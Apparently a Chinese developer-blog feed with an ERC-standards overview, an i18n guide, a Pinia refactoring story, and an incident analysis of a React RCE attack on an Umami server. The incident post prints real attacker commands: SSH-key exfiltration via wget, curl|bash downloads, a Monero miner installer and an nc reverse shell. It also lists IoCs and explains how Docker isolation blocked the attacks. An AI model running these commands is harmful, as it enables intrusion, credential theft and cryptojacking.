在区块链的浩瀚星空中,ERC标准如同一颗颗精密校准的星辰,构成了以太坊生态系统最坚实的坐标系。从2015年ERC-20开启代币化浪潮,到如今超过200项提案交织成的标准化网络,这些技术规范不仅定义了数字资产的交互语言,更在2025年成为连接虚拟经济与实体世界的桥梁。

当前,我们正站在Web3发展史上的关键拐点。监管框架的成熟(如香港稳定币条例与RWA登记平台)、技术栈的工业化(EIP-4337账户抽象普及率超60%),以及跨链互操作性的刚需,共同推动了ERC标准从"可选项"向"必选项"的蜕变。无论是DeFi协议追求资本效率的极致优化,还是RWA资产面临合规落地的刚性约束,亦或是普通用户对无感化体验的迫切需求,都在呼唤一个更清晰、更实用、更具前瞻性的标准导航图。

本文将抛却冗长论述,以工程师的务实视角,为您呈现一份2025年ERC标准的"活地图"。我们不仅会拆解ERC-20、ERC-721等基石性协议的生存法则,更会深度聚焦ERC-4626(DeFi收益层事实标准)、ERC-3643(RWA合规唯一路径)、ERC-4337(用户体验革命)这三大改变行业格局的新星。同时,我们梳理了跨链资产、AI生成内容、抗量子安全等前沿领域的最新规范,并附上一份可直接用于生产环境的"技术选型决策表"。 无论您是构建下一个杀手级应用的开发者,还是评估项目技术基本面的投资者,亦或是探索Web3边界的创新者,这份汇总都将成为您穿越复杂技术迷雾的指南针——因为在这个标准化驱动的时代,选择正确的ERC标准,就是选择了通往未来的捷径。

ERC标准是什么

ERC(Ethereum Request for Comment)是以太坊开发者提交的协议提案,经EIP流程批准后成为强制性或推荐性标准。截至2025年,以太坊生态已有超过200个ERC标准,其中约30个被广泛使用

核心代币标准分类

1. 同质化代币

标准 名称 功能简述 应用场景 2025年状态
ERC-20 Token Standard 基础转账、授权、余额查询 USDT、UNI、所有治理代币 ✅ 绝对基石,100%项目使用
ERC-2612 Permit Extension 离线签名授权(无gas approve) DAI、USDC、DeFi协议集成 ✅ 新代币标配,用户体验必备

2. 非同质化代币

标准 名称 功能简述 应用场景 2025年状态
ERC-721 NFT Standard 唯一Token ID,不可分割 数字艺术品、PFP、收藏品 ✅ NFT黄金标准
ERC-1155 Multi-Token 同时支持FT和NFT,批量操作 GameFi装备、元宇宙资产 ✅ GameFi首选,效率更高
ERC-721A Gas-Optimized NFT 批量铸造节省60% Gas 大型项目发行(如Azuki) ✅ 2025年主流发行方案
ERC-2981 Royalty Standard NFT版税信息标准化 跨市场版税执行 ✅ 市场强制要求

3. 收益与金库标准

标准 名称 核心功能 代表项目 重要性
ERC-4626 Tokenized Vault 统一金库存取款接口,自动复利 Yearn、Aave、Compound ⭐⭐⭐⭐⭐ 收益层事实标准
ERC-4626扩展 收益优化 滑点保护、线性释放 Balancer、Aura ⭐⭐⭐⭐ 大型DeFi标配

4. 现实世界资产(RWA)合规标准

标准 名称 核心功能 适用资产 监管要求
ERC-3643 T-REX Protocol 强制身份验证、动态合规规则 证券、房地产、基金 ✅ 香港RWA平台强制使用
ERC-1400 Security Token 证券型代币标准 STO发行 ⚠️ 被ERC-3643逐步替代
ERC-3475 Bonds Standard 债券标准,复杂计息 链上债券 🔥 2025年债券代币化热点

5. 账户与签名标准

标准 名称 核心功能 解决痛点 普及度
ERC-4337 Account Abstraction 智能合约钱包,社交恢复 私钥丢失、批量操作 ✅ MetaMask/Coinbase已支持
ERC-1271 Contract Signature 合约钱包签名验证 Gnosis Safe交互 ✅ 多签/智能钱包基石
ERC-5267 EIP-712 Discovery 链上发现类型定义 钱包自动解析签名 🔥 2025年钱包集成中

6. 跨链与互操作标准

标准 名称 核心功能 代表项目 状态
ERC-7765 Omnichain FT 原生跨链FT(无桥) LayerZero Omni代币 🔥 2025跨链新标准
ERC-7651 Omnichain NFT 原生跨链NFT 全链游戏资产 🔥 全链游戏必备

7. 版税与元数据标准

标准 名称 核心功能 应用场景 备注
ERC-2981 Royalty Standard 版税信息链上标准化 NFT市场跨平台版税 ⚠️ 强制执行仍依赖市场
ERC-4883 SVG NFT 可组合SVG格式 链上游戏、动态艺术 🔥 节省Gas,完全链上
ERC-1948 Dynamic Data NFT 32字节数据字段可更新 可进化NFT ⚠️ 使用较少

8. 新兴标准

标准 名称 创新点 赛道 成熟度
ERC-7007 AI-NFT 绑定AI模型与生成证明 AIGC 🔬 实验阶段
ERC-721C Creator Token 可编程版税率(不限2.5%) 创作者经济 🔥 开始普及
ERC-7512 Onchain Audit 链上存储审计报告 安全 🔬 审计标准化
ERC-7231 Identity Aggregator 多链身份聚合 AI代理身份 🔬 早期采用

快速选择决策表

你的需求 第一选择 备选方案 避免使用
发治理代币 ERC-20 + ERC-2612 纯ERC-20 ERC-721(用错标准)
发NFT项目 ERC-721A ERC-721 ERC-1155(除非GameFi)
做GameFi ERC-1155 ERC-721A ERC-20(不可替代)
建收益池 ERC-4626 自定义金库 手动分发收益
发RWA资产 ERC-3643 ERC-20(不合规)
智能钱包 ERC-4337 EOA钱包(体验差)
跨链资产 ERC-7765 ERC-7651 原生桥(风险高)

选型建议

  • 新项目必须集成ERC-2612:告别无限授权,提升用户体验
  • DeFi项目必须采用ERC-4626:降低外部集成成本,自动获得聚合器支持
  • RWA项目必选ERC-3643:香港、新加坡监管明确要求
  • 钱包必须支持ERC-4337:提供社交恢复和gas代付,否则用户流失
  • 跨链项目关注ERC-7765:原生跨链比桥接安全10倍以上

总结

ERC-20/721是"过去",ERC-4626/3643/4337是"现在",ERC-7765/7007/7512是"未来"。2025年开发新项目,合规性(RWA用3643)、用户体验(钱包用4337)、性能(扩容用ZK)三者缺一不可。

国际化方案:多环境、多语言、动态加载的完整实践

作者 Naomi_
2025年12月8日 12:42

背景

在开发面向全球用户的网页时,需要:

  • 支持多语言(英文、中文等)
  • 按环境(生产/测试/开发)加载不同翻译资源
  • 语言切换时保持当前页面路径
  • 自动检测用户语言偏好
  • 动态加载翻译资源,避免打包体积过大

技术选型

采用 i18next + react-i18next 生态:

  • i18next:核心库
  • react-i18next:React 集成
  • i18next-http-backend:HTTP 后端加载
  • @18n-language-detect:语言检测

核心实现

1. i18n 初始化配置

// src/i18n/i18n.ts
import i18n from "i18next";
import { initReactI18next } from "react-i18next";
import LanguageDetector from "@i18n-language-detect";//需npm上找替代包
import HttpBackend from "i18next-http-backend";
import Backend from "./backend";
import { isTestnet, isProd } from "env";

// 根据环境动态生成资源路径
const fullPath = () => {
  if (isProd) {
    return "i18n-prod.json";
  } else if (isTestnet) {
    return "i18n-testnet.json";
  } else {
    return "i18n.json";
  }
};

const bundledResources = {};

i18n
  .use(Backend)              // 自定义后端
  .use(LanguageDetector)     // 语言检测
  .use(initReactI18next)      // React 集成
  .init({
    lng: "en",               // 默认语言
    fallbackLng: "en",       // 回退语言
    load: "currentOnly",     // 只加载当前语言
    backend: {
      backends: [HttpBackend],
      bundledResources,
      backendOptions: [{ loadPath: fullPath() }],
    },
    ns: ["example"],            // 命名空间
    defaultNS: "example",
    jsonFormat: "v4",
    interpolation: {
      escapeValue: false,    // 不转义 HTML
    },
  });

export default i18n;

notes:1.通过 fullPath() 按环境返回不同资源路径 2.使用 HTTP 后端,按需加载 3.支持多命名空间管理

2. 自定义 Backend 实现

// src/i18n/backend.ts
class Backend {
  constructor(services, options = {}) {
    this.backends = [];
    this.type = 'backend';
    this.init(services, options);
  }

  init(services, options = {}, i18nextOptions) {
    this.services = services;
    this.options = utils.defaults(options, this.options || {}, getDefaults());

    // 支持多个后端,按顺序尝试加载
    this.options.backends &&
      this.options.backends.forEach((b, i) => {
        this.backends[i] = this.backends[i] || utils.createClassOnDemand(b);
        this.backends[i].init(
          services,
          (this.options.backendOptions && this.options.backendOptions[i]) || {},
          i18nextOptions
        );
      });
  }

  read(language, namespace, callback) {
    // 按顺序尝试从各个后端加载资源
    const loadPosition = (pos) => {
      if (pos >= this.backends.length) {
        return callback(new Error('non of the backend loaded data;', true));
      }
      
      const backend = this.backends[pos];
      if (backend.read) {
        const resolver = (err, data) => {
          if (!err && data && Object.keys(data).length > 0) {
            callback(null, data, pos);
            // 保存到前面的后端(如本地缓存)
            savePosition(pos - 1, data);
          } else {
            // 尝试下一个后端
            loadPosition(pos + 1);
          }
        };
        
        // 处理 Promise 或回调
        const result = backend.read(language, namespace);
        if (result && typeof result.then === 'function') {
          result.then((data) => resolver(null, data)).catch(resolver);
        } else {
          resolver(null, result);
        }
      } else {
        loadPosition(pos + 1);
      }
    };

    loadPosition(0);
  }
}

优势:支持多后端,可配置多个后端,按顺序尝试;一个失败时自动尝试下一个;同时支持将远程资源保存到本地缓存

3. 路由集成多语言路径

// src/App.tsx
import { Routes, Route } from "react-router-dom";
import { routesMap } from "./pages/constants";

function App() {
  return (
    <Routes>
      {/* 默认路由(无语言前缀) */}
      <Route path="/">
        <Route index element={<Home/>} />
        <Route path={routesMap.example1} element={<Example1 />} /> 
        {/* ... */}
      </Route>

      {/* 多语言路由(/:lang/...) */}
      <Route path={`/:lang`} element={<Home />} />
      <Route path={`/:lang/${routesMap.example1}`} element={<Example1 />} /> 
      {/* ... */}
    </Routes>
  );
}

4. 语言切换组件

// src/components/languageChange/index.tsx
import { useTranslation } from "react-i18next";
import { useNavigate, useParams } from "react-router-dom";
import { getLang, setLang } from "@/utils/storageData";
import { routesMap } from "@/pages/constants";

export default function LanguageChange() {
  const navigate = useNavigate();
  const [t, i18n] = useTranslation("example");
  const { lang } = useParams();
  
  const langList = [
    { name: "EN", key: "en" },
    { name: "中文", key: "zh-MY" },
  ];

  // 切换语言并更新 URL
  const urlLangChange = (paramLang: any) => {
    let currentlang = paramLang;
    
    // 验证语言是否有效
    if (!paramLang || !langList.map((item) => item.key).includes(paramLang)) {
      currentlang = getLang() || "en";
    }
    
    // 提取当前路径(去除语言前缀)
    let pathSegments = window.location.pathname.split("/").slice(1).join("/");
    if (
      window.location.pathname.startsWith("/zh-MY") ||
      window.location.pathname.startsWith("/en")
    ) {
      pathSegments = window.location.pathname.split("/").slice(2).join("/");
    }

    // 验证路径是否在路由表中
    let currentPath = pathSegments;
    const isPathNotInMap = Object.values(routesMap).includes(pathSegments);
    if (!isPathNotInMap) {
      currentPath = "";
    }
    
    // 更新 URL,保持当前路径
    navigate(
      `/${currentlang}${currentPath && `/${currentPath}`}${
        window.location.search && window.location.search
      }`,
      { replace: true }
    );
    
    // 切换 i18n 语言
    handleLangChange(currentlang);
  };

  const handleLangChange = (newLang: string) => {
    i18n.changeLanguage(newLang, () => {
      document?.querySelector("html")?.setAttribute("lang", newLang);
    });
    setLang(newLang); // 保存到本地存储
  };

  // 初始化时根据 URL 参数设置语言
  useEffect(() => {
    urlLangChange(lang);
  }, []);

  return (
    <div className="lang-icon">
      {langList.map((item) => (
        <p
          className={item?.key === getLang() ? "active" : ""}
          onClick={() => urlLangChange(item?.key)}
        >
          {item?.name}
        </p>
      ))}
    </div>
  );
}

要点:

  • URL 同步:切换语言时更新 URL,保持当前路径
  • 路径验证:确保路径在路由表中
  • 本地存储:保存用户语言偏好
  • HTML lang 属性:同步更新 <html lang>

5. 本地存储管理

// src/utils/storageData.ts
import { storage } from "@storage";//获取本地存储的包,需在npm上找替代包

const LANG_KEY = "LANG_KEY";

export function getLang() {
  const lang = storage.get(LANG_KEY) || "en";
  return lang;
}

export function setLang(lang: string) {
  storage.set(LANG_KEY, lang);
}

6. 在组件中使用翻译

// 示例:在组件中使用
import { useTranslation } from "react-i18next";

export default function Banner() {
  const [t] = useTranslation();
  
  const list = [
    {
      id: "one",
      hint: t("exclusiveEventDesc1"),  // 使用翻译
      // ...
    },
  ];
  
  return (
    <div>
      <h1>{t("pageTitle")}</h1>
      {/* ... */}
    </div>
  );
}

技术优势

不仅实现了3种环境的隔离,在性能上,i18n的翻译是按需加载的,减少初始包体积,支持运行时更新翻译资源,而且用户切换语言时保持当前页面

最佳实践

1. 资源文件组织


  └── example/
      ├── en.json          # 生产环境英文
      ├── zh-MY.json        # 生产环境中文
      ├── testnet-en.json   # 测试环境英文
      └── testnet-zh-MY.json # 测试环境中文

2. 翻译 Key 命名规范

{
  "metaTitle": "example",
  "pageTitle": "Welcome to example",
  "chooseLanguage": "Choose Language"
}

完整流程图

用户访问页面
    ↓
语言检测器检测语言(浏览器/URL/本地存储)
    ↓
根据环境加载对应资源路径
    ↓
HTTP Backend 请求翻译资源
    ↓
加载成功 → 渲染页面
    ↓
用户切换语言
    ↓
更新 i18n 语言 + 更新 URL + 保存到本地存储
    ↓
重新加载对应语言资源
    ↓
页面更新

image.png

我是如何治理一个混乱的 Pinia 状态管理系统的

2025年12月8日 12:20

最近接手了一个 Vue 3 + TypeScript 的中大型项目,状态管理这块…怎么说呢,一言难尽。花了两周时间做了一次系统性的治理,踩了不少坑,也总结出一些经验,分享给同样在"屎山"中挣扎的朋友们。

背景:接手时的状况

项目用的是 Pinia,但打开 src/store 目录的那一刻,我沉默了:

src/store/
├── index.ts
├── user.ts               # Options API 风格
├── system.ts             # Options API 风格
├── loading.ts            # 半成品
├── keepAlive.ts          # 没有类型
├── point-to-point.ts     # Setup 风格 + 啥都往里塞
├── selection.ts          # 不知道干嘛的
├── xxx-name.ts           # 好几个类似的文件
└── ...还有一堆

十几个 Store 文件扁平地堆在一起,有的用 Options API,有的用 Setup 风格,有的用 TypeScript,有的满屏 any。更离谱的是,composables 目录里也有一套"状态管理",两边功能重叠,谁也不知道该用哪个。

问题诊断:到底哪出了问题

在动手之前,我花了半天时间梳理,把问题分成了三个等级。

P0 - 不治不行

1. 代码风格精神分裂

一半 Options API,一半 Setup 风格。Options API 是 Vue 2 时代的写法,在 Vue 3 + TypeScript 项目里用这个,类型推断很难受:

// 旧代码:Options API
export const useUserStore = defineStore('user', {
  state: () => ({
    userInfo: null as any,  // 到处都是 any
    permissions: [] as any[],
  }),
  getters: {
    getLocale: state => state.locale,  // 这种 getter 毫无意义
  },
  actions: {
    setUserInfoAction(info) {  // Action 后缀是什么鬼
      this.userInfo = info
    },
  },
})

2. 类型形同虚设

as anyas any[] 满天飞,TypeScript 成了摆设。有些复杂对象完全没有类型定义,全靠 IDE 猜。

3. 职责边界模糊

有个叫 point-to-point.ts 的文件,里面塞了:表单状态、字典数据、下拉选项、选中项管理、甚至还有一些工具函数。500 多行,谁都不敢动。

P1 - 迟早要改

  • 命名风格不统一point-to-pointappSystemadmin_user,三种命名法齐活
  • 持久化策略混乱:有的用 localStorage,有的用 sessionStorage,有的根本没做持久化但数据刷新就丢
  • 缓存逻辑重复:好几个 Store 都自己实现了一套"带过期时间的缓存",代码几乎一样

P2 - 代码洁癖

  • Getter 只是简单返回 state,完全多余
  • Action 命名带 Action 后缀,不符合社区习惯
  • 注释缺失,三个月后自己都看不懂

解决方案:怎么治

一、按业务域组织目录

扁平结构最大的问题是:项目一大,找文件全靠搜索。

重构后的目录结构按业务域划分:

src/store/
├── index.ts              # 统一导出
├── core/                 # 核心域:用户、系统、加载状态
│   ├── index.ts
│   ├── user.ts
│   ├── system.ts
│   └── loading.ts
├── basicData/            # 基础数据域:缓存、字典
│   ├── index.ts
│   ├── cache.ts
│   └── dict.ts
├── search/               # 搜索域:查询表单、收藏
│   ├── index.ts
│   ├── queryForm.ts
│   └── favorite.ts
├── order/                # 订单域:表单、草稿
│   ├── index.ts
│   ├── orderForm.ts
│   └── orderDraft.ts
└── types/                # 类型定义
    ├── index.ts
    └── user.types.ts

每个域一个目录,每个目录一个 index.ts 负责导出。使用时可以按域导入,也可以从根目录导入:

// 按域导入(推荐)
import { useUserStore } from '~/store/core'

// 根目录导入
import { useUserStore } from '~/store'

二、统一 Setup 风格 + 代码分块

所有 Store 统一用 Setup 风格重写,代码按 State → Getters → Actions → Return 分块组织:

/**
 * 用户状态管理
 * @description 管理用户信息、权限、Token
 */
export const useUserStore = defineStore(
  'user',
  () => {
    // ==================== State ====================

    /** 用户信息 */
    const userInfo = ref<UserInfo | null>(null)

    /** 权限列表 */
    const permissions = ref<string[]>([])

    /** Token */
    const token = ref('')

    // ==================== Getters ====================

    /** 是否已登录 */
    const isLoggedIn = computed(() => !!token.value && !!userInfo.value)

    /** 检查是否有指定权限 */
    const hasPermission = computed(() => (code: string) =>
      permissions.value.includes(code)
    )

    // ==================== Actions ====================

    /**
     * 加载用户信息
     */
    async function loadUserInfo(): Promise<void> {
      const res = await getUserInfo()
      userInfo.value = res.data
    }

    /**
     * 登出
     */
    function logout(): void {
      userInfo.value = null
      permissions.value = []
      token.value = ''
    }

    // ==================== Return ====================

    return {
      // State
      userInfo,
      permissions,
      token,
      // Getters
      isLoggedIn,
      hasPermission,
      // Actions
      loadUserInfo,
      logout,
    }
  },
  {
    persist: {
      key: 'app-user',
      storage: localStorage,
    },
  },
)

这个结构有几个好处:

  1. 注释分块,一目了然
  2. 返回值显式列出,知道 Store 暴露了什么
  3. 类型推断完美,不需要额外声明

三、统一持久化策略

之前的持久化很随意,现在统一规则:

数据类型 存储方式 理由
用户信息、Token localStorage 需要跨标签页、持久保存
系统配置、主题 localStorage 用户偏好需要持久
表单草稿 localStorage 防止意外关闭丢失
查询条件 sessionStorage 只在当前会话有效
加载状态 不持久化 实时状态,刷新归零

四、带 TTL 的缓存 Store

基础数据(比如字典、省市区)需要缓存,但不能无限期。写了一个通用的带过期时间的缓存 Store:

export const useDictStore = defineStore('dict', () => {
  /** 缓存数据 */
  const cache = ref<Map<string, CacheItem>>(new Map())

  /** 默认 TTL:30 分钟 */
  const DEFAULT_TTL = 30 * 60 * 1000

  /**
   * 获取字典数据(自动处理缓存)
   */
  async function getDict(type: string): Promise<DictItem[]> {
    const cached = cache.value.get(type)

    // 缓存有效,直接返回
    if (cached && Date.now() - cached.timestamp < cached.ttl) {
      return cached.data
    }

    // 缓存过期或不存在,重新请求
    const res = await fetchDictByType(type)
    cache.value.set(type, {
      data: res.data,
      timestamp: Date.now(),
      ttl: DEFAULT_TTL,
    })

    return res.data
  }

  /**
   * 清除指定缓存
   */
  function clearCache(type: string): void {
    cache.value.delete(type)
  }

  return { cache, getDict, clearCache }
})

调用方完全不用关心缓存逻辑,直接 await dictStore.getDict('CONTRACT_TYPE') 就行。

五、Store 和 Composable 的分工

这是很多人纠结的问题:什么时候用 Store,什么时候用 Composable?

我的原则很简单:

场景 用 Store 用 Composable
数据需要跨组件共享
数据需要持久化
数据是全局单例
只在单个组件内使用
封装可复用的逻辑
封装副作用(定时器、事件监听)

举个例子:

// Store:管理全局订单状态
export const useOrderStore = defineStore('order', () => {
  const currentOrder = ref<Order | null>(null)
  const draftList = ref<OrderDraft[]>([])
  return { currentOrder, draftList }
})

// Composable:封装订单表单逻辑
export function useOrderForm() {
  const store = useOrderStore()
  const { t } = useI18n()

  // 表单数据(组件级,不需要共享)
  const formData = ref<OrderFormData>({})
  const loading = ref(false)

  // 表单验证规则
  const rules = computed(() => ({
    productName: [{ required: true, message: t('order.productRequired') }],
  }))

  // 提交订单
  async function submit() {
    loading.value = true
    try {
      const result = await submitOrder(formData.value)
      store.currentOrder = result  // 更新全局状态
      return result
    } finally {
      loading.value = false
    }
  }

  return { formData, loading, rules, submit }
}

Store 负责"数据仓库",Composable 负责"业务逻辑",各司其职。

迁移过程:怎么平滑过渡

不可能一口气把所有 Store 都重写,项目还要正常迭代。我采用的策略是:

1. 向后兼容导出

旧的 Store 暂时保留,新的 Store 写在域目录里,统一在 index.ts 做兼容导出:

// src/store/index.ts

// 新的域导出(推荐使用)
export * from './core'
export * from './basicData'
export * from './search'

// 向后兼容(逐步废弃)
export { useUserStore } from './core/user'  // 旧路径的使用者不会报错

2. 逐步迁移

按优先级分批迁移:

  1. Week 1-2:核心域(user、system、loading)
  2. Week 3-4:基础数据域(缓存、字典)
  3. Week 5-8:业务域(按模块逐个迁移)

每次迁移完一个模块,跑一遍 TypeScript 检查和 E2E 测试,确保没问题再继续。

3. ESLint 规则护航

加了几条 ESLint 规则,防止"新代码写成老样子":

// eslint.config.js
{
  files: ['src/store/**/*.ts'],
  rules: {
    // 禁止在 Store 中使用 any
    '@typescript-eslint/no-explicit-any': 'error',
    // 强制导入排序
    'perfectionist/sort-imports': 'error',
  },
}

最终效果

两周后的 Store 目录:

  • ✅ 6 个业务域,结构清晰
  • ✅ 100% Setup 风格
  • ✅ 100% TypeScript 类型覆盖
  • ✅ 统一的持久化策略
  • ✅ 完善的 JSDoc 注释

维护成本从"看一眼就头疼"变成了"顺手就能改"。

一些心得

  1. 不要一步到位:重构最怕的是"大跃进",分批迁移、逐步验证才是正道
  2. 向后兼容很重要:老代码不可能一夜之间都改完,兼容层是必须的
  3. 规范先行:先定好规范,再动手写代码,不然迁移完了又是一坨新的屎山
  4. Store 和 Composable 别混用:想清楚每个东西的职责,别图方便什么都往 Store 里塞
  5. 类型是文档:好的类型定义比注释更有用,interface 写清楚了,代码自解释

以上就是这次 Pinia 治理的全过程。如果你也在维护一个"历史悠久"的 Vue 项目,希望这篇文章能给你一些参考。

有问题欢迎评论区交流 👋

React RCE 漏洞影响自建 Umami 服务 —— 记 CVE-2025-55182

作者 cos
2025年12月8日 12:20

本文地址:blog.cosine.ren/post/react-…

我对安全方面的知识很少,本文大部分可能有很多错漏,如有错漏希望能指出。

2025 年 12 月 3 日,React 发布了一个堪比当年 Log4j 的严重安全漏洞:CVE-2025-55182,CVSS 评分 10.0 满分

这是 React 历史上最严重的漏洞之一,允许未经身份验证的远程代码执行(Unauthenticated RCE)。

刚收到安全通告,我就马上更新了所有已知的 Next.js 和 React 应用,以为这些应该没事儿了。

结果今天突然发现自建的 Umami 服务 504 了才想起来,沃日,它是 Nextjs 写的啊!!

虽然是在 docker 里跑的,并且炸的是我一个不常用的服务器,最大的损失是 CPU 占用率突然飙到 100% 了一段时间,统计数据丢了不少,密码什么的都是随机生成的,换就好了。

随便找了一篇博客看看别人的情况:

juejin.cn/post/758037…

解决方案

先把最终的解决方案放到最前面。

升级 Umami,首先使用 pg_dump 备份 Umami 的 PostgreSQL 数据库。这里有几种方法:

# 备份到当前目录
docker exec umami-db-1 pg_dump -U umami umami > umami_backup_$(date +%Y%m%d_%H%M%S).sql

# 或者备份到指定目录
docker exec umami-db-1 pg_dump -U umami umami > ~/backups/umami_$(date +%Y%m%d).sql

然后,因为我是 docker-compose 部署的,直接:

docker compose pull
docker compose up --force-recreate -d

就可以了,查看容器日志中的 Next.js 已经是 15.5.7 版本。

如果你数据库使用的是 mysql 的话,那不要升 3,看官方的迁移教程

docs.umami.is/docs/guides…

漏洞背景

www.cve.org/CVERecord?i…

  • CVE 编号: CVE-2025-55182
  • CVSS 评分: 10.0 / 10.0(Critical)
  • 漏洞类型: 未经身份验证的远程代码执行(Unauthenticated RCE)
  • 披露时间: 2025 年 12 月 3 日
  • 官方公告: React Blog

受影响的版本

React 核心包(19.x 版本):

19.0, 19.1.0, 19.1.1 和 19.2.0

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响的框架:

  • Next.js: 14.3.0-canary.77 及之后的版本,15.x, 16.x 全都需要升到最新版本
  • React Router: 使用 unstable RSC APIs 的版本
  • Waku: 使用 RSC 的版本
  • Expo: 使用 RSC 的版本
  • Redwood SDK: < 1.0.0-alpha.0

漏洞原理

React Server Functions 允许客户端调用服务器上的函数。React 将客户端请求转换为 HTTP 请求发送到服务器,在服务器端 React 再将 HTTP 请求反序列化为函数调用。

关键问题:攻击者可以构造恶意的 HTTP 请求到任何 React Server Function 端点,当 React 反序列化这些 payload 时,会触发任意代码执行

// 简化的漏洞示意(实际更复杂)
// 服务器端的 React Server Function 处理
function handleServerFunctionRequest(payload) {
  // ❌ 危险:直接反序列化未验证的 payload
  const deserializedData = deserialize(payload);

  // 如果 payload 被精心构造,这里可能执行任意代码
  return executeFunction(deserializedData);
}

关键威胁

  • 无需身份验证(Unauthenticated)
  • 远程代码执行(RCE)
  • 即使没有定义任何 Server Function,只要使用了 React Server Components 就有风险

攻击手段

既然攻击都已经攻击了,那不如趁机让 AI 分析容器日志,借此机会深入分析一下攻击者到底想干什么。

以下攻击手段汇总等,全为 Claude Sonnet 4.5 根据日志文件进行分析得出的总结,如有错漏,还请指出。

攻击入口:React Server Components RCE

从日志中可以看到大量的 NEXT_REDIRECT 错误:

 ⨯ Error: NEXT_REDIRECT
    at Object.eval [as then] (node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js:92:34014) {
  digest: '12334\nMEOWWWWWWWWW'
}

这是漏洞利用的标志性特征

  • digest: '12334\nMEOWWWWWWWWW' - 这不是正常的错误摘要
  • 攻击者通过构造恶意 payload 触发 React Server Components 的反序列化漏洞
  • 每次 NEXT_REDIRECT 错误后都跟着一系列的系统命令执行尝试

漏洞利用与初始访问

攻击者首先利用 CVE-2025-55182 获得代码执行能力,然后立即尝试下载后门程序:

Connecting to 193.34.213.150 (193.34.213.150:80)
wget: can't open 'x86': Permission denied
chmod: x86: No such file or directory
/bin/sh: ./x86: not found

攻击流程

  1. 向 React Server Function 端点发送恶意 payload
  2. 触发反序列化漏洞,执行 wget 命令
  3. 尝试从 C&C 服务器下载 x86 恶意程序(一个 Linux ELF 二进制文件)
  4. 尝试赋予执行权限并运行

如果成功会怎样?

# 攻击者想做的事情(被阻止了)
wget http://193.34.213.150/x86
chmod +x x86
./x86  # 这会安装一个后门程序

凭证窃取

攻击者想要窃取所有有价值的凭证:

# 尝试 1:窃取 SSH 私钥
Connecting to 23.19.231.97:36169 (23.19.231.97:36169)
wget: can't open '/root/.ssh/id_rsa': Permission denied
wget --post-file=/root/.ssh/id_rsa http://23.19.231.97:36169/222

# 尝试 2:窃取 ECDSA 私钥
wget --post-file=/root/.ssh/id_ecdsa http://23.19.231.97:47023/222

# 尝试 3:窃取命令历史(可能包含密码)
cat: can't open '/root/.bash_history': Permission denied
wget --post-data="$(cat /root/.bash_history)" http://23.19.231.97:44719/222

这是整个攻击中最恶毒的部分

  • SSH 私钥可以让攻击者横向移动到其他服务器
  • .bash_history 可能包含:
    • 数据库密码
    • API 密钥
    • 云服务凭证(AWS、GCP 等)
    • 内部系统地址

持久化后门

攻击者尝试建立多个后门以保持访问:

# 伪装成健康检查脚本
sh: can't create /dev/health.sh: Permission denied
chmod: /dev/health.sh: No such file or directory

# 尝试从多个源下载恶意脚本
(curl -s -k https://repositorylinux.xyz/cron.sh || \
 wget --no-check-certificate -q -O- https://repositorylinux.xyz/cron.sh) | bash

# Windows PowerShell 编码命令(自动化脚本)
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAC4ALgAu

解码 PowerShell 命令

# Base64 解码后的内容
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://repositorylinux.xyz/script_kill.ps1')

这是一个跨平台攻击:同时尝试 Linux (bash) 和 Windows (PowerShell) 命令。

加密货币挖矿

最耗资源的部分 - 这就是 CPU 飙到 100% 的原因:

# C3Pool 挖矿池安装脚本
curl -sLk https://gist.githubusercontent.com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner.sh | \
bash -s 49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv

# XMRig Monero 挖矿程序
powershell -EncodedCommand [Base64 encoded mining script]

挖矿攻击特征

  • 钱包地址:49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKk...(Monero)
  • 矿池:C3Pool
  • 这会消耗所有 CPU 资源,导致:- 服务响应缓慢 - 服务器宕机 - 云服务账单暴增 (还好是自己服务器)

反向 Shell

尝试建立远程控制:

rm: can't remove '/tmp/f': No such file or directory
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 171.252.32.135 7700 >/tmp/f

反向 Shell 技术分析

# 这是一个经典的命名管道反向 shell
mkfifo /tmp/f              # 创建命名管道
cat /tmp/f | bash -i 2>&1  # 从管道读取命令并执行
| nc 171.252.32.135 7700   # 通过 netcat 连接到 C&C 服务器
>/tmp/f                    # 将输出写回管道

如果成功,攻击者就可以:

  • 实时控制服务器
  • 执行任意命令
  • 窃取实时数据
  • 作为跳板攻击内网

攻击指标(IoC)汇总

类型 用途
恶意 IP 193.34.213.150 恶意软件分发
恶意 IP 23.19.231.97 数据窃取服务器
恶意 IP 89.144.31.18 备用恶意服务器
恶意 IP 171.252.32.135 反向 Shell C2
恶意域名 repositorylinux.xyz 脚本分发
恶意域名 dashboard.checkstauts.site 监控代理
GitHub Gist demonic-agents/39e943f4... 挖矿脚本

恶意 IP 地址

IP 地址 用途 威胁等级
193.34.213.150 恶意软件分发(x86 二进制文件) 🔴 Critical
23.19.231.97 数据窃取服务器(SSH 密钥、历史记录) 🔴 Critical
89.144.31.18 备用恶意服务器 🟠 High
171.252.32.135 反向 Shell C&C 服务器 🔴 Critical

恶意域名

域名 用途 威胁等级
repositorylinux.xyz 恶意脚本分发(cron.sh, linux.sh, firewall.sh) 🔴 Critical
dashboard.checkstauts.site 监控代理/数据收集 🟠 High

恶意资源

资源 类型 用途
github.com/demonic-agents/39e943f4... GitHub Gist C3Pool 挖矿脚本
49Cf4UaH5mVF2QCBRECpwSWV1C6h... Monero 钱包 挖矿收益地址

为什么所有攻击都失败了?

因为还好是 Docker 跑的,Docker 容器权限隔离,我的 Umami 容器:

  • 非 root 用户运行,无法写入系统目录
  • 只读文件系统,无法创建恶意文件
  • 丢弃所有 Linux Capabilities
  • 禁止提权操作
Permission denied (重复 100+ 次)

几乎所有攻击操作都遇到了权限拒绝:

  • 无法写入 /root/.ssh/
  • 无法在 /dev/ 创建文件
  • 无法在 /tmp/ 创建管道
  • 无法执行下载的二进制文件
/bin/sh: bash: not found
/bin/sh: powershell: not found
spawn calc.exe ENOENT

